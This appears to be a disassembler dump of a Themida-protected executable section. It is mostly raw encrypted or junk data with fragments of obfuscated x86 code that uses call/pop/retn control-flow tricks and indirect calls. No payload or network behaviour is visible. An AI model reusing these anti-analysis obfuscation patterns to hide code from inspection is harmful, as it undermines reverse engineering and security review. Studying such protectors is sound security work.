5C895BC3h, 44810424h, 180424h dd 53430000h, 6E6199C3h, 9D899FD7h, 6140401h, 0DE9h, 96AF9F00h dd 2E61D955h, 7AA76BFh, 8589A1CAh, 6140681h, 31359501h dd 85C60614h, 6141A59h, 95896045h, 6142E89h, 35219D89h dd 68610614h, 8E726969h, 0B5FFCB8Bh, 6141145h, 0BD235756h dd 61405C9h, 858D595Ah, 6143B13h, 5E8h, 0B9301B00h, 8A6058E1h dd 615857C6h, 8BD0FF5Ah, 142C6D95h, 0F9858906h, 0E906142Eh dd 0Ch, 1481B0D1h, 0B1CC1692h, 855F1D4Ah, 1A5985C6h, 0F440614h dd 68Fh, 3DBD8B00h, 2B06140Fh, 141CCDBDh, 0EC646806h, 0BF66B8F2h dd 0B5FF4678h, 6141145h, 1385B589h, 0B5890614h, 6143215h dd 3B13858Dh, 8D8B0614h, 6140091h, 0C981D0FFh, 5FC0613Fh dd 0B618589h, 8C0F0614h, 6, 23D99509h, 85C60614h, 6141A59h dd 4089B943h, 950B3AC7h, 6142409h, 764AA768h, 73BDBFC0h dd 0B5FF4BF0h, 6141145h, 13858DF9h, 0FF06143Bh, 0BD8D89D0h dd 89061423h, 14308185h, 7E806h, 7F70000h, 35504231h, 5F19B686h dd 4A6BD80h, 0F000617h, 0C384h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 988A8D6Ah dd 8DCC8F89h, 17048885h, 81666006h, 8AE288D2h, 895061FCh dd 141155B5h, 8B016A06h, 1401CD8Dh, 0E8006A06h, 5, 7715870Dh dd 0EE9F3h, 0D3CA0000h, 0E953F505h, 3895878Dh, 2F3FFB14h dd 81006A5Ah, 0C9E5FEF1h, 7595FF78h, 0F061430h, 83h, 99858900h dd 0F061402h, 82h, 0B6FF6A00h, 99B5FF27h, 3061402h, 140E258Dh dd 55B50906h, 0FF061431h, 142B1995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 6061BA91h dd 50CFBF0Fh, 615BA3B6h, 0BF66C08Bh, 0BD83F248h, 61430B1h dd 83097500h, 141AE1BDh, 19740006h, 0C08B5350h, 7D1B8h dd 49858900h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h dd 6141Ah, 53501774h, 7D1B8h, 49858900h, 8D06141Ah, 16B4299Dh dd 5BD3FF06h, 0DEDDB958h, 0BD8939C0h, 6142329h, 81666050h dd 8964ADD1h, 140ED19Dh, 8B5A6106h, 61F860C0h, 1A5985C6h dd 0B9470614h, 3ADDE948h, 0C8F7C168h, 0B5FFF593h, 6141145h dd 3B13858Dh, 0E7810614h, 7C8AA225h, 0FE9h, 0D7260500h dd 0C23DCB67h, 0D0D137B2h, 3E10365Dh, 0BA50D0FFh, 17096002h dd 8C9858Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0F95632C3h dd 0C73FB15Ah, 9400h, 0E88A5000h, 6A585Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9D635FC3h dd 0C9B58DCFh, 89061708h, 141D718Dh, 6A5606h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 98A89DC3h dd 0E772A317h, 0D0FF396Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 15C35747h, 717C0D5Fh, 0B967F5B1h, 56041AB7h dd 25999529h, 858D0614h, 61708C9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0A1C35242h, 0D94C90EBh, 0D18166CAh dd 0E281CF5Eh, 7448E8ABh, 0C2B4DDB9h, 478836Dh, 5B850F06h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0E848C350h, 93537775h, 14E8C4h dd 3FBA0000h, 0CB7D5B54h, 0BFED3A33h, 1F4BF87Fh, 8F2495CBh dd 840FDA31h, 6, 116DBD2Bh, 665F0614h, 85C7D08Bh, 617095Dh dd 1, 23158D09h, 0BD830614h, 6142CBDh, 7A850F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0F02C351h, 0D1BD0160h, 2B061414h, 1402A595h dd 0BD836106h, 617095Dh, 42850F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0A104C352h, 0C710D554h, 3DBD8347h, 61400h, 13840Fh dd 0F6800000h, 9585C7B8h, 6142Bh, 29000000h, 1425B585h dd 0DB8C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 21C35343h, 2179184Ch, 65310065h, 0C2C1B966h, 0F04C3F6h dd 52D84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 34BDABE3h, 35958960h, 8B06140Bh dd 1423A1B5h, 0BD8B6106h, 6140629h, 12CD85C7h, 614h, 800F0000h dd 19h, 14E9h, 80A85500h, 8CEAEC6Dh, 65564482h, 4A85DFFFh dd 2607D6E9h, 0B3BD80C1h, 61704h, 6850Fh, 85890000h, 6141A25h dd 1A5985C6h, 8B470614h, 1430E995h, 5B866806h, 5CBAE3E4h dd 0FF0DE5ACh, 141145B5h, 1958B06h, 8D061409h, 143B1385h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 20CE2733h, 9D2C5FCh, 14149195h, 0EE906h dd 0A120000h, 0DABD0998h, 0E53F11C9h, 7403BB0Fh, 1BB9958Bh dd 0D0FF0614h, 683CE280h, 104h, 9D8DF98Bh, 61411A9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h, 8EB1E864h dd 414DD3F2h, 6E8h, 6EB5C600h, 896510E3h, 14147585h, 1535906h dd 1413DD85h, 8BD0FF06h, 1424D9BDh, 0A9858D06h, 6A061411h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 6772C352h, 0F5B2883Ch, 0F280CB1Ah, 0A5958B4Ah dd 5006142Fh, 0E473B966h, 465858Dh, 12E80617h, 0BC000000h dd 86238199h, 57D9838Fh, 2D4DE792h, 9B1523FEh, 5FCE8A25h dd 50D7B70Fh, 41958B52h, 5906141Bh, 0FB38858Dh, 0EA810616h dd 2CFD229Eh, 3F57D181h, 89501F32h, 1415E985h, 995FF06h dd 0E9061415h, 10h, 0D63B535Fh, 868F6331h, 0E1AB8733h dd 42B7365Ah, 2B0CC483h, 1406658Dh, 68006A06h, 80h, 6A036Ah dd 68006Ah, 8D800000h, 16FB3885h, 95FF5006h, 6140681h dd 4488589h, 85C60617h, 6141A59h, 5E876847h, 0B5FFC7B1h dd 6141145h, 3B13858Dh, 0D0FF0614h, 0B5FF006Ah, 6170448h dd 0CA81D0FFh, 111EAAFh, 37D03Dh, 41830F00h, 8B000000h dd 48B5FFD3h, 0F061704h, 8Eh, 8195FF00h, 60061430h, 23219589h dd 0FE90614h, 0AE000000h, 0A1710C21h, 0E885F53Fh, 89A0BF08h dd 8B610AE7h, 142B458Dh, 0AEE906h, 0BD8B0000h, 6140869h dd 448B5FFh, 0B70F0617h, 8195FFFFh, 60061430h, 31D5BD8Bh dd 81520614h, 7FE943CBh, 8B615B78h, 8B006AD6h, 140BB595h dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 8380C350h, 0FA15158h, 68Eh, 0A5BD8B00h dd 6A061414h, 0F88B6600h, 12E9006Ah, 0C1000000h, 8C602DA7h dd 0C60CC030h, 0B735038Ah, 3F8BB0FBh, 8B006A3Fh, 142FB995h dd 0F8006A06h, 44C858Dh, 81500617h, 31097AE7h, 8195FF55h dd 2B061406h, 141CC195h, 0FFF88306h, 114850Fh, 8D090000h dd 61414C9h, 0BFD8858Dh, 0EE90616h, 9E000000h, 0AE58CAACh dd 16DAE867h, 6CE41A44h, 33D0FF41h, 142B9D95h, 0E8006A06h dd 0Ah, 0CAD91C5h, 0B7A0AD3Dh, 870F437Ch, 17h, 12E9h, 0CB883B00h dd 1D41B2DCh, 526A9B44h, 54A652B5h, 5FD355F0h, 6AF98Bh dd 30E9B589h, 6A0614h, 0C51958Bh, 6A0614h, 1A25B589h, 6A0614h dd 6840Fh, 0BD8B0000h, 6140271h, 289958Bh, 6A0614h, 91BF6653h dd 0AE9596Fh, 0A3000000h, 3475AC8h, 5C020260h, 4C858DA9h dd 0F061704h, 68Bh, 0DDBD8B00h, 50061410h, 0F119D89h, 95FF0614h dd 6140681h, 23EDB589h, 0DF810614h, 7F80F064h, 0FFFF883h dd 4585h, 927BB900h, 0B58D10BFh, 616FE54h, 5E8h, 0EE5A2900h dd 810FD868h, 2, 8D5FCA8Bh, 16A99A85h, 88D9B906h, 0D0FF4990h dd 1C3D8589h, 6A0614h, 2A798589h, 95FF0614h, 6142EF9h dd 1A21B589h, 85890614h, 6170448h, 294D8D89h, 860F0614h dd 6, 4831EF81h, 6A030Ch, 94E5B966h, 440858Dh, 6A0617h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0F120F9C3h, 7B3A095Fh, 6A508627h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A497C352h dd 0FBBA5370h, 89F82C55h, 140B798Dh, 0E8046A06h, 0Eh, 0CFE07DEEh dd 8E1FE852h, 0B6B44FF0h, 0BE86BA8h, 84000000h, 0B1668E7Dh dd 935790DCh, 858916E8h, 61429E9h, 858D5A5Fh, 6142421h dd 0DE950h, 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 6A9F3790h dd 66006A00h, 9D29D68Bh, 6142615h, 8960016Ah, 1400C195h dd 0D1B58906h, 6106140Bh, 448B5FFh, 14E90617h, 2E000000h dd 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 0FF334521h dd 140B6195h, 418D0B06h, 0E9061411h, 1B7Dh, 18E1BD8Bh dd 0C08B0614h, 2A5BD89h, 0BD830614h, 61430B1h, 83097500h dd 141AE1BDh, 19740006h, 0C08B5350h, 7D2B8h, 49858900h dd 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah dd 53501774h, 7D2B8h, 49858900h, 8D06141Ah, 16B4299Dh dd 5BD3FF06h, 0B6BA6658h, 0D1BD89D8h, 66061404h, 1062C981h dd 0BD8BC08Bh, 614052Dh, 12CD85C7h, 10614h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B8F54C3h, 1412B1BDh, 0E7B86806h, 0B5FFCEE4h, 6143481h dd 3B13858Dh, 0D0FF0614h, 3A58589h, 858D0614h, 61706A4h dd 61858D50h, 50061709h, 168h, 0A595FF80h, 0B061403h, 0C70A75C0h dd 14033985h, 106h, 0DBD46800h, 0B5FFC005h, 6143481h, 3B13858Dh dd 0D0FF0614h, 2ED8589h dd 858D0614h, 616F8F1h, 45B5FF50h, 0FF061411h, 141D4595h dd 74C00B06h, 8DD88B0Bh, 1708A485h, 0D3FF5006h, 8A4858Dh dd 83660617h, 0A750938h, 14CD85C7h, 10614h, 95FF0000h dd 6140C85h, 0FF25h, 5F88300h, 85C70A73h, 6141D79h, 1 dd 2049B531h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 4CAE2FC3h, 0BDCCC21Fh, 0F2810FBFh dd 64DBB2DCh, 0B6CF8B66h, 0B3BD8058h, 61704h, 2D840Fh dd 95030000h, 6143131h, 6BDB589h, 0BD830614h, 617095Dh dd 1B840F00h, 60000000h, 8E9h, 6673B000h, 826B61CCh, 66BCBB39h dd 0E9610AE3h, 19C1h, 0BD83D78Ah, 61414CDh, 0B5850F00h dd 8D000000h, 17047D85h, 10E806h, 16A30000h, 4554D1D3h dd 0F56F5CC8h, 25D00935h, 0F566D20h, 82h, 665A5A00h, 741CE181h dd 65BD3150h, 6A06142Ah, 0B5016001h, 6142CC9h, 85895061h dd 61418FDh, 8B006A5Ah, 1418E1BDh, 8A006A06h, 7595FFF1h dd 89061430h, 140565BDh, 0A7858906h, 66061704h, 9DE4EA81h dd 9523FF6Ah, 6140BE1h, 4A7B5FFh, 6A0617h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 929381C3h dd 0DD5ABECBh, 0F348099h, 78Fh, 81665200h, 5AF66EF7h, 15859D01h dd 95FF0614h, 6142B19h, 0F983BA66h, 0F8B8858Dh, 0BD8B0616h dd 6140395h, 619B589h, 0FF500614h, 142F9595h, 8902B106h dd 16F94285h, 0FEBF0F06h, 0F8C5858Dh, 6A0616h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0FB042C3h, 0FF50D6B7h, 16F942B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 4595FF52h dd 8B06141Dh, 143215BDh, 0D5858906h, 8B06140Bh, 1419AD95h dd 33858D06h, 0F90616F9h, 1961958Bh, 81500614h, 6A5C12D2h dd 42B5FF75h, 6A0616F9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 438DC352h, 95FF5C7Fh dd 6141D45h, 0C398509h, 0CE80614h, 36000000h, 49BE58FAh dd 0EE21804Ch, 0E9A94A45h, 11h, 66832669h, 0C498DFDCh dd 0EB7C1F66h, 0BDAECEADh, 85895959h, 616F956h, 20CDBD29h dd 858D0614h, 616F912h, 500FE280h, 0B5FFCF8Ah, 616F942h dd 0C4D28166h, 89BD898Dh, 0FF06140Eh, 141D4595h, 11E906h dd 0A67C0000h, 0BD3E25AEh, 5166AEA9h, 84BF0C27h, 0E937CE54h dd 14h, 4DB56F9Ch, 36F52603h, 2A589678h, 0A2100A1Ah, 40A9F794h dd 0F94E8589h, 66B10616h, 0F905858Dh, 0DEB10616h, 3DB96650h dd 950951B2h, 6140F71h, 42B5FF5Ah, 0E80616F9h, 0Ch, 9F331EB4h dd 0BE602FB0h, 0A878C801h, 0F18D8Bh, 0FF5F0614h, 141D4595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 29768C7Eh, 30BBD40h, 1410A995h, 52858906h dd 0F0616F9h, 8B66CBB7h, 20858DCFh, 660616F9h, 502CDEBFh dd 165DB589h, 0B5FF0614h, 616F942h, 1625950Bh, 95FF0614h dd 6141D45h, 8589CF8Bh, 61402A9h, 0F8D4858Dh, 6A0616h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 251DE8C3h, 1E2A74EBh, 5E87829h, 1F000000h, 0C48BF716h dd 0CE8h, 93C4B300h, 0BDB3EE27h, 2D60D44Ch, 0A98D0373h dd 59061408h, 0A5BD895Fh, 50061421h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0E5C35545h, 7382D57Eh, 27BD04B8h dd 30919531h, 0B5FF0614h, 616F942h, 18CDBD89h, 95FF0614h dd 6141D45h, 152D8D33h, 85890614h, 616F946h, 1CD8D8Bh dd 0BD290614h, 6142201h, 0F8E3858Dh, 0BA660616h, 8B5008F4h dd 141951BDh, 42B5FF06h, 0E90616F9h, 6, 4B6757D4h, 95FF48ECh dd 6141D45h, 0E042C2BFh, 13E914h, 5A3A0000h, 35D7D491h dd 0D0945573h, 316F3806h, 0E075D33Ah, 4A858957h, 8A0616F9h dd 10468ECh, 0EAB50000h, 0F9DA858Dh, 0B5890616h, 6140021h dd 8D62B550h, 16FADE85h, 50D38B06h, 0FFFA8B66h, 142F5595h dd 0E9606006h, 0Dh, 0F5D83EC6h, 458A0A8h, 0A8AE93DDh, 7E973h dd 32960000h, 3DDAC975h, 0BD09611Bh, 614152Dh, 0FC08561h dd 685h, 0DD958900h, 80061410h, 1704B3BDh, 850F0006h, 2Ch dd 23A5BD0Bh, 0A2E90614h, 6A000015h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0B9E5C350h dd 608A9F22h, 14CDBD83h, 0F000614h, 2185h, 299D8900h, 83061423h dd 17095DBDh, 840F0006h, 58h, 58D8B50h, 5906142Fh, 0F658D8Bh dd 858D0614h, 616F977h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0C7C35545h, 7E0EA353h, 0E959AFC8h, 29959589h dd 1EE90614h, 81000015h, 0A33634CFh, 0B2BA6627h, 33E98Eh dd 85890000h, 6142F69h, 0F962858Dh, 6A0616h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A20C5CC3h dd 71DF4B38h, 0FB8B6692h, 6A50F5h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 3E4C1FC3h, 0F9DA858Dh dd 8D230616h, 61424D5h, 5E950h, 8C450000h, 836057E7h, 1414CDBDh dd 840F0006h, 67h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0E6C35040h, 9D5BD181h, 858D77CBh, 616FB00h dd 1A8C0Fh, 8D0F0000h, 14h, 0FE9h, 0E8110800h, 693B5CD4h dd 0CDAE9E4Bh db 9Fh, 6Ah, 8Eh off_57AEE7 dd offset dword_445750+91C5h ; DATA XREF: Themida_:00548FE0o ; Themida_:00549AB0o align 4 dd 12E900h, 0FB250000h, 42DAACCEh, 6CEA4C2Bh, 13D580Fh dd 0FCD4C8CDh, 8DD2B70Fh, 16FAE985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 99283625h dd 19E5F9E5h, 830F504Eh, 5, 0C024D9B9h, 38858D0Bh, 0F0616FBh dd 8950C8BFh, 141CB58Dh, 995FF06h, 66061415h, 831619B9h dd 6A10C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 393B0CC3h, 76C12A19h, 10E8D4h, 0F3150000h dd 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 0AE9663Dh, 99000000h dd 0E96CACE8h, 0F60E0B10h, 0C08B5F39h, 9131BF66h, 30B1BD83h dd 75000614h, 0E1BD8309h, 6141Ah, 53501974h, 0D3B8C08Bh dd 89000007h, 141A4985h, 3A9D8D06h, 0FF0616B7h, 83585BD3h dd 141AE1BDh, 17740006h, 0D3B85350h, 89000007h, 141A4985h dd 299D8D06h, 0FF0616B4h, 0F585BD3h, 9E9F8B7h, 3E000000h dd 0E75DB30Eh, 1528929Eh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0C8C283C3h, 29899D89h dd 0BD810614h, 616F962h, 6165726Fh, 0B1840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 89118BC3h, 4798F8E6h, 958B1651h, 6140619h, 1ACDBD31h dd 858D0614h, 616F9DAh, 17858D50h, 500616FBh, 0FB38858Dh dd 0FF500616h, 14150995h, 0CC48306h, 1A5985C6h, 68440614h dd 96A3184Fh, 1145B5FFh, 858D0614h, 6143B13h, 0D88BD0FFh dd 0FB38858Dh, 0FF500616h, 62858DD3h, 500616F9h, 0F9DA858Dh dd 83500616h, 1414CDBDh, 8740006h, 0FB00858Dh, 6EB0616h dd 0FAE9858Dh, 8D500616h, 16FB3885h, 95FF5006h, 6141509h dd 6610C483h, 0AADFDF81h, 0FFCBBF0Fh, 140C8595h, 0F88B6606h dd 0FF25h, 0ACD68000h, 0F05F883h, 5D83h, 0CBBF0F00h, 1D7985C7h dd 10614h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 6E242EC3h, 96858DF9h, 800616F9h dd 0B589DDF6h, 614221Dh, 74E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD83409Eh dd 61414CDh, 34840F00h, 0B5000000h, 0C1858D3Eh, 0F0616F9h dd 888h, 880F5700h, 0 ; --------------------------------------------------------------------------- pop ecx jmp loc_57B1B9 ; --------------------------------------------------------------------------- dw 8A0Fh dd 13h, 0EE9h, 96BA1400h, 0C98CA7AAh, 5048C203h, 8DCB0BFBh dd 16F9A385h, 4D852906h, 52061404h, 11B58953h, 59061414h ; --------------------------------------------------------------------------- pop edx loc_57B1B9: ; CODE XREF: Themida_:0057B185j mov [ebp+616F9D6h], eax push 0 push ebp call sub_57B1CA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B1CA proc near ; CODE XREF: Themida_:0057B1C2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_57B1CA endp ; --------------------------------------------------------------------------- mov dl, [ecx-2E6A745Ch] add [esi+eax], dl cmp dword ptr [ebp+61414CDh], 0 jnz loc_57B218 mov di, si cmp dword ptr [ebp+617095Dh], 0 jz loc_57B22A jmp loc_57B218 ; --------------------------------------------------------------------------- db 0F8h, 60h, 0E1h dd 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 0D249EC7Ah ; --------------------------------------------------------------------------- loc_57B218: ; CODE XREF: Themida_:0057B1EAj ; Themida_:0057B200j jmp loc_57C339 ; --------------------------------------------------------------------------- pusha add cx, 0EA8Fh mov [ebp+61414D1h], ebx popa loc_57B22A: ; CODE XREF: Themida_:0057B1FAj jmp loc_57B732 ; --------------------------------------------------------------------------- xor cx, 0B4F6h mov [ebp+6140B79h], edx mov eax, eax jmp loc_57B253 ; --------------------------------------------------------------------------- db 3Bh, 68h, 9Fh dd 0DA71975Fh, 66527555h, 314EE7CDh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 17h, 3Ch ; --------------------------------------------------------------------------- loc_57B253: ; CODE XREF: Themida_:0057B23Cj cmp dword ptr [ebp+61430B1h], 0 jnz short loc_57B265 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57B27E loc_57B265: ; CODE XREF: Themida_:0057B25Aj push eax push ebx mov eax, eax mov eax, 7D4h mov [ebp+6141A49h], eax lea ebx, [ebp+616B73Ah] call ebx pop ebx pop eax loc_57B27E: ; CODE XREF: Themida_:0057B263j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_57B29E push eax push ebx mov eax, 7D4h mov [ebp+6141A49h], eax lea ebx, [ebp+616B429h] call ebx pop ebx pop eax loc_57B29E: ; CODE XREF: Themida_:0057B285j mov edi, eax mov [ebp+6142C35h], esi mov eax, eax jmp loc_57B2C0 ; --------------------------------------------------------------------------- db 1Eh, 15h, 68h dd 0D29C04E9h, 0A68EBD55h, 0AAF08318h, 7EEED8B1h ; --------------------------------------------------------------------------- loc_57B2C0: ; CODE XREF: Themida_:0057B2A8j push 0F003Fh call sub_57B2DC xor eax, 0C9ADBCE1h and al, [edi+ebx*2] and cl, dl ; --------------------------------------------------------------------------- dd 31B322FEh, 9ECFDC36h ; =============== S U B R O U T I N E ======================================= sub_57B2DC proc near ; CODE XREF: Themida_:0057B2C5p ; FUNCTION CHUNK AT 0057B32F SIZE 00000021 BYTES mov edi, 40D953B3h pop edx push 0 jz loc_57B2EE mov cx, 0C5C6h loc_57B2EE: ; CODE XREF: sub_57B2DC+8j push 0 cmc call dword ptr [ebp+6140BD5h] or [ebp+6140B35h], eax jmp loc_57B308 ; --------------------------------------------------------------------------- dw 9BABh dd 8DB13963h ; --------------------------------------------------------------------------- loc_57B308: ; CODE XREF: sub_57B2DC+21j test eax, eax jnz loc_57B32F push 0 push edx call sub_57B31B and [edx-3Dh], bl sub_57B2DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57B31B proc near ; CODE XREF: sub_57B2DC+37p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_57B31B endp ; --------------------------------------------------------------------------- db 6Eh db 0Bh, 9Ch, 6Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57B2DC loc_57B32F: ; CODE XREF: sub_57B2DC+2Ej mov [ebp+616F95Ah], eax mov edi, [ebp+61416DDh] push 0 or [ebp+6142C29h], edi push 0 push 0 push eax call sub_57B350 and [eax-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_57B2DC ; =============== S U B R O U T I N E ======================================= sub_57B350 proc near ; CODE XREF: sub_57B2DC+6Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_57B350 endp ; --------------------------------------------------------------------------- lodsb mov [ebx+14319D8Dh], ecx push es push 0 push 0 push esi call sub_57B375 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B375 proc near ; CODE XREF: Themida_:0057B36Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_57B375 endp ; --------------------------------------------------------------------------- db 0CFh, 5, 89h ; --------------------------------------------------------------------------- push edx push edx lea ecx, [ecx+1414A5BDh] push es push 0 mov [ebp+61421BDh], esi push 0 push 0 push ebx call sub_57B3A6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B3A6 proc near ; CODE XREF: Themida_:0057B39Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_57B3A6 endp ; --------------------------------------------------------------------------- stosb inc byte ptr [edx] add bh, 0F7h add bh, [edi+56h] sub dx, 0CD59h pop edx lea eax, [ebp+616FB38h] push 0 push ecx call sub_57B3D6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B3D6 proc near ; CODE XREF: Themida_:0057B3CEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_57B3D6 endp ; --------------------------------------------------------------------------- dw 4B76h dd 0BA6050EDh, 65D330DAh, 13658589h, 6A610614h, 81958B01h dd 6A061419h, 890F6001h, 6, 0D298D8Bh, 0BD890614h, 61431F9h dd 6AD78B61h, 0ADBD8B01h, 68061410h, 0F01FFh, 0D21ABA66h dd 14CDBD83h, 0F000614h, 3784h, 0EE800h, 7FAC0000h, 57B6CD4Fh dd 9145CF69h, 0C799DA2Dh, 0B7858D59h, 0F0616F9h, 680h dd 0E18D8B00h, 8B061424h, 14265195h, 25E906h, 0BD8B0000h dd 61404DDh, 0F98D858Dh, 0DE80616h, 0D1000000h, 978FDAD3h dd 0E0623C61h, 0BD284ABAh, 33D9589h, 505A0614h, 312FBA66h dd 0A5BD2950h, 0FF061400h, 16F95AB5h, 0FFF08A06h, 16F94695h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0FF1AC1E6h, 0A70CCFBAh, 9529FC4Eh, 614007Dh dd 850FC085h, 2Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0C0C35343h, 88BF6426h, 0E9095820h, 72h dd 1A91BD89h, 85890614h, 616F95Eh, 10E9h, 2135F00h, 8D55A283h dd 0F599583Bh, 0BEB437BFh, 5EB5FF0Dh, 6A0616F9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0BA96C351h, 0B9532820h, 3671960h, 2A995FFh, 958B0614h dd 61412C9h, 850FC085h, 12h, 0C8F0Fh, 890F0000h, 6, 919BD8Bh dd 106A0614h, 0F3CE680h, 0BD83F9B7h, 61414CDh, 41840F00h dd 8D000000h, 16F9B785h, 6830F06h, 29000000h, 140825BDh dd 36E906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0E4FEC3h, 9B5958Bh, 0BD8B0614h dd 6140FF5h, 0F98D858Dh, 9D010616h, 61408E9h, 6810F50h dd 8B000000h, 14054D95h, 398D8906h, 0FF061410h, 16F95AB5h dd 0CEBF0F06h, 0F95295FFh, 6A0616h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0BB2D78C3h dd 9BEFCB69h, 2ABF6617h, 0FC08590h, 0C85h, 6850F00h, 89000000h dd 14095585h, 5E858906h, 290616F9h, 142279B5h, 0E8006A06h dd 14h, 0DF530368h, 0C3B3F489h, 0EE7123FAh, 6BE94995h dd 48F7ADCAh, 0D4D8D8Bh, 6A5A0614h, 0D1B53100h, 0FF061412h dd 16F95EB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0DA9E1FF8h, 0A2E8DF6Ch, 950B353Ch dd 6141475h, 0AE9h, 0CCFECC00h, 0E4047199h, 0FFA606A6h dd 16F94A95h, 29850106h, 85061425h, 1F850FC0h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 68D3C350h, 0B5FFC687h, 616F95Eh, 2E658589h dd 0CE90614h, 0B5000000h, 21B031C5h, 40C8F97Eh, 0FF753C62h dd 1402A995h, 85D18B06h, 2B850FC0h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0BE46C353h, 73687FAFh, 0F1A4C69Eh, 2B39B529h ; --------------------------------------------------------------------------- adc al, 6 loc_57B732: ; CODE XREF: Themida_:loc_57B22Aj push 0 mov [ebp+614061Dh], edx push 80h push 0 push esi call sub_57B74A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57B74A proc near ; CODE XREF: Themida_:0057B742p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn 